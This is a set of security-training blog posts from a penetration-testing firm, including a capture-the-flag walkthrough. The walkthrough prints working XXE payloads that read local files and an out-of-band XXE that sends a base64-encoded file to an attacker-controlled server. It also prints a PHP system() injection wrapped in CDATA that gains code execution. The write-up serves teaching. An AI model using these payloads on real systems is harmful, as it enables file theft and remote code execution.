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Mon, 9 Mar 2015

Break the Web at BlackHat Singapore

Web application security training in 2015?

It's a valid question we get asked sometimes. With the amount of books available on the subject, the tools that seemingly automate the process coupled with the fact that findings bugs in web apps should be harder now that frameworks and developers are more likely to produce secure code, is there a need to still train people up in the art of application exploitation?


Our response is yes. Our application assessment course constantly changes. We look at the thousands of assessments that we perform for our customers and take those vulnerabilities discovered, new architectures and designs and try and build practical exploitation scenarios for our students. We love breaking the web, the cloud, 'the box that's hosted somewhere you can't recall but just works', as there's always new approaches and methods one can take to own the application layer.


Last month I discovered a vulnerability in Redhat's OpenStack Platform. What was cool about this vulnerability is that it's not a new class of vulnerability but when deployed in an organisation, it allows an authenticated user the ability to read files on the filesystem with the permissions of the web server. Owning organisations is all about exploiting flaws and chaining them together to achieve the end goal.


We want to teach you the same process: from learning how to own the application layer whilst having fun doing it at BlackHat Asia - Singapore.


During the course we will have a view on:


  • Introduction to the hacker mindset (more important than it sounds!)

  • Reconnaissance techniques.


...and...breaking the web...

  • Understanding and exploiting data validation issues such as SQLi, XSS, XML and LDAP injections.

  • Session Management issues...oh cookies!

  • Attacking web services.

  • Glance of client-side technologies such as Silverlight, ActiveX.


This course will be hands on. It won't just be me standing up and speaking but you learning how to own web apps and exploit common vulnerabilities just like the best.


Come and join us! It will be fun :)


/S


 


 

Wed, 4 Mar 2015

SensePost Training

sensepost_blackhat
Over those years, we've trained thousands of students in the art of offensive and defensive security through our Hacking by Numbers courses.


Our courses are taken directly from the work we do. When we compromise networks, or applications with new techniques, they're turned into modules in the appropriate course. We also don't use trainers; every course is given by one of our analysts to keep it authentic.


For our fifteenth year, we've decided it was time to retire the ‘Hacking by Numbers' name and just call it was it really always has been: SensePost Training.


We've also simplified the path to offensive security mastery with our artisanal, fair trade, hand crafted training courses:


sensepost_training_flow


Beginner


The beginner course lies at the start of the journey. This course doesn't assume anything of the student other than desire to learn. The course will present the background information, technical skill and basic concepts to get a student going in the field of information security (we can't bring ourselves to say “cyber”).


Students will start at learning how to use the command line interface for Linux to get the best out of an offensive Linux tool-set, then delve into networking fundamentals and vulnerability discovery and finally, learn how to exploit common weaknesses within the network, application, mobile and wireless arenas.


The course will serve those wanting to understand the offensive security world as well as those looking to join it. It's a fun course with plenty of hands on exploitation and owning stuff. For more information, visit Blackhat's USA training page here.


Journeyman


‘A journeyman is an individual who has completed an apprenticeship and is fully educated in a trade or craft, but not yet a master' Wikipedia.


The Journeyman layer is where you learn the trade in order to become a master. This layer is where our decade and a half of experience in gaining access to everything from ships to data centers is most evident. Each of the journeyman courses are hands on, fully interactive and teach the latest approaches and techniques for exploiting everything! We've completely revamped the courses and our analysts typically add new techniques as they happen, sometimes even during the course.


The journeyman series contain several courses focused on specific areas of specialisation, from hacking networks and applications, to securing code, to signals (wireless) and advanced second order compromises (spec ops).


If you are looking to expand your skill-set then these courses are for you.


Master


At the top of the learning tree is our brand new Master course. This course is aimed at those students who've completed one or more of the Journeyman courses, or are working senior penetration testers. Nmap's man page, Metasploits internals, or network pivoting should not be new concepts.


This course sets about teaching students how to hack like an APT; with strong offensive focus drawing on the techniques employed in recent industry hacks. Students will be thrown into environments they've never seen before, and forced to rely on wits, or shown how to turn the mundane into the extraordinary.


To learn more about this course being offered at Blackhat USA, head over to here.


Conclusion


When you love what you do, you love showing others how to do it; training is at the heart of what we do at SensePost. Using our decade of BlackHat training experience, we've put a lot of thought into creating some awesome courses for our fellow hackers. We hope to seeing you in one at BlackHat USA Las Vegas 2015.

Fri, 27 Jun 2014

SensePost Challenge - Winners and Walkthrough

We recently ran our Black Hat challenge where the ultimate prize was a seat on one of our training courses at Black Hat this year. This would allow the winner to attend any one of the following:


The challenge was extremely well received and we received 6 successful entries and numerous other attempts. All the solutions were really awesome and we saw unique attacks, with the first three entrants all solving the challenge in a different way.

Walk-through


As stated, there are multiple ways of solving the challenge, we are just going to outline one way that hopefully provides multiple techniques which can be used in real-world pentests.

Flag 1:


The challenge started with the initial goal of "Read the file /home/spuser/flag1.txt" . When visiting the challenge website there were three initial pages available "index","about" and "login". We had numerous challengers head straight to the login page and attempt SQLi. The other common attack we saw was bruteforce attempts against the login. Both of these were fair attempts, however, the real point of interest should have been the "Feed tester" feature on the index page.


The index page had a feed tester feature, this allowed loading of external XML formatted feeds.
The index page had a feed tester feature, this allowed loading of external XML formatted feeds.


Simply trying out this feature and viewing how it functions. Viewing the feed tester result, we noticed that the contents of the XML formatted RSS feed were echoed and it became clear that this may be vulnerable to XXE. The first step would be to try a simple XML payload such as:




<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
<foo>&xxe;</foo>


This would fail with an error message of "Something went wrong". The reason for this was that the application was attempting to parse the XML for valid RSS tags. Thus we need to alter our payload to conform to be a valid RSS feed (We used this as a template).




<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
<rss>
<channel>
<title>FreeStuff</title>
<link>http://www.w3schools.com</link>
<description>Free web building tutorials</description>
<item>
<title>RSS Tutorial</title>
<link>http://www.w3schools.com/rss</link>
<description>&xxe;</description>
</item>
<item>
<title>XML Tutorial</title>
<link>http://www.w3schools.com/xml</link>
<description>New XML tutorial on W3Schools</description>
</item>
</channel>
</rss>


And we should see the contents of flag1.txt displayed in our feed:
And we've captured flag1
And we've captured flag1 Now onto flag 2...

Flag 2:


The contents of flag1.txt revealed the "access code" we needed to log into the site. So we went over to the login page and entered an email address as the username and the access code as our password. Viola, we now have access to the "main" page as well. This page revealed some new functionality, namely the ability to update our user details. Unfortunately there was no upload function here, so there goes the easy shell upload. We updated the user account and used Burp to look at the submitted request.


The submitted POST request
The submitted POST request


It looks like we have some more XML being submitted.. Again we tried XXE and found that using "file://" in our payload created an error. There were ways around this, however the returned data would be truncated and we would not be able to see the full contents of flag2.txt... When stuck with XXE and not being able to see the result (or complete result) there is always the chance that we can get the data out via the network. To do this we needed to generate a payload that would allow us to fetch an external DTD and then "submit" the contents of our target file to a server under our control. Our payload on our server looked like this:




<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/home/spuser/flag2.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:8000/?%data;'>">


Note how we had to use the php://filter function to base64 encode our payload. This allowed us to avoid control characters breaking the XML structure and URL format. Finally, the payload submitted to the challenge server simply consisted of:




<?xml version="1.0" ?>
<!DOCTYPE r [<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:8000/ev.xml">
%sp;%param1;]>
<r>&exfil;</r>


We didn't really need to worry about what happens after our "XXE payload" because the xmldecoder had already submitted the contents of file2.txt to our server before the application code started parsing the XML document. When submitting the payload we needed to encode the % and & symbols otherwise these broke the XML decoder.


Our payload was correctly encoded submitted to the profile update function.
Our payload was correctly encoded submitted to the profile update function.


As soon as the XML decoder parsed our malicious payload, we would receive the base64 encoded contents on our server:


The challenge server would send the contents of flag2.txt to our server.
The challenge server would send the contents of flag2.txt to our server.


Now it was a simple matter of decoding the payload and we had the second flag. This was not the only way to get flag 2! It was the most "fun" way of doing it though and used a really handy method. Remember it for your next pentest...

Flag 3 AKA "get your name on the wall of fame":


Flag 2 gave us the access code we needed to unlock the final piece of the challenge. This presented us with the "add a feed" feature. Again, we first tried out the new feature to see what was happening. Our first observation was that nothing happens when we just add the feed. However, things do get interesting when we view our new feed. The new feed is displayed in a freshly generated php page. This should have triggered warning bells, we've got php being generated, how about we inject some php? Looking at the feed creation we again note that the payload consists of some XML being submitted. Now if we wanted to inject a shell, how would we do this without breaking the XML structure? Two options were available to us, one, encoding and two XML trickery. The encoding option was simple, simply encode all the angle brackets of our php payload and then insert it into our XML payload. This worked because php was kind enough to decode the URL encoded elements AFTER the XML decoder had done it's thing. Thus the XML validated successfully and our encoded characters got decoded back into their original form before being inserted into our new php file. The second option was to surround our php code with CDATA tags. The CDATA tags told the XML decoder not to parse the content surrounded by these tags as XML but rather treat it as free text. Simple enough and quicker than manually encoding our payload. Thus our new payload would look as follows:




<feed><name><![CDATA[<?php system('echo etienne >> /home/spuser/wof.txt') ?>]]></name><url>http://google.com/</url></feed>


Now we had a new link created in the feeds list. We could navigate to this new feed and our php code would get executed as the page loaded. And boom, just like that our name should be on the "Wall of Fame". We could easily verify this by using the XXE from flag 1 and fetching /home/spuser/wof.txt instead. Below is the "Wall of Fame" at time of writing:

  • secdefect

  • Ron

  • ftard

  • send9 wuz here

  • @leonjza was here :)

  • harry@nsense was here 1403445693

  • #uushomo@1403472051

  • marquee was here

  • El Gato!El Gato!

  • melih_sarica_ms_isr_com_tr_was_here


Winners!


Congratulations to everyone who finished the challenge! However, there could only be one winner. The winner is Espes, who narrowly beat our two runners up to win a training ticket for any one of our course at Black Hat Vegas 2014.


The two runners up who both can claim one of our awesome 2014 t-shirts:


Vitaly aka @send9


Sash aka @secdefect


Education is the most powerful weapon which you can use to change the world - Mandela
Education is the most powerful weapon which you can use to change the world - Nelson Mandela

Thu, 19 Jun 2014

Hacking Challenge: Drive a tank through it

russia-dashboard-cam-tank-drives-across-road-snow-1359329911C
At SensePost we get to enjoy some challenging assessments and do pretty epic things. Some days it feels like the only thing that could make it better would be driving tanks while doing it. The best hacks normally make their way into our training courses as practical exercises where students get to replicate (and improve on) these hacks. However, we know that there isn't always room for all the epicness and unfortunately not everyone can attend the training. So we put some into a challenge for you. We've taken a few recent hacks and rolled them into one challenge, can you crack it?


Target: http://challenge.sensepost.com/
Starting-point: Read the contents of /home/spuser/flag1.txt
Once you've completed the challenge, email us with a screenshot of your victory and a short overview of how you did it.
The prize: The winner of this challenge will be offered a free seat on any one of the SensePost training courses at Black Hat 2014.


It's almost Black Hat time again and as always SensePost will be presenting numerous Hacking by Numbers training course, which we've rewritten this year. For more information on the training courses on offer at Black Hat this year, check out:


Good luck comrade!

Tue, 20 May 2014

Mobile Training Reloaded - Las Vegas

Get some.

Exploiting next gen apps
With the explosion in mobile device popularity and the applications that go along with these, testing mobile application security has become a key skill in every pentester's arsenal. Last year we launched the Hacking by Numbers: Mobile, course at BlackHat Las Vegas and follow up training at BlackHat WestCoast Trainings. This year we are taking Mobile training to the next level with Hacking by Numbers reloaded, Mobile Bootcamp (https://www.blackhat.com/us-14/training/hacking-by-numbers-reloaded-mobile-bootcamp.html)


The course has undergone the full reloaded treatment, with our trainers pouring new tips, tricks and skills into the course, along with incorporating feedback from previous students.

You said mobile?


The mobile space has numerous platforms, each with their own nuances, that would leave any new pentester dizzy. Fortunately this is where the Mobile bootcamp course excels, offering the perfect blend of introductory and advanced techniques, the training is ideal for anyone looking to start testing mobile applications or the experienced tester who is looking to branch out to new platforms.


The training introduces all the core skills required to test applications across the major mobile platforms, particularly:


  • Android

  • IOS

  • Blackberry

  • Windows Phone 8


Training is built around around demonstration and hands-on practical exploitation, with custom practical exercises derived from real-world application security fails.


For a full break-down of the course structure check-out our BlackHat training page (https://www.blackhat.com/us-14/training/hacking-by-numbers-reloaded-mobile-bootcamp.html)

Who should attend?


The course is relevant for attackers, defenders and developers. Students should have some technical ability in Linux, and understand networking fundamentals, but this is a bootcamp level course. Basic programming knowledge is recommended but not essential.


Your trainers will be Etienne (@kamp_staaldraad) and Jurgens, both crazy about mobile security and have executed numerous killshots on all the major mobile platforms.


- Etienne and Jurgens -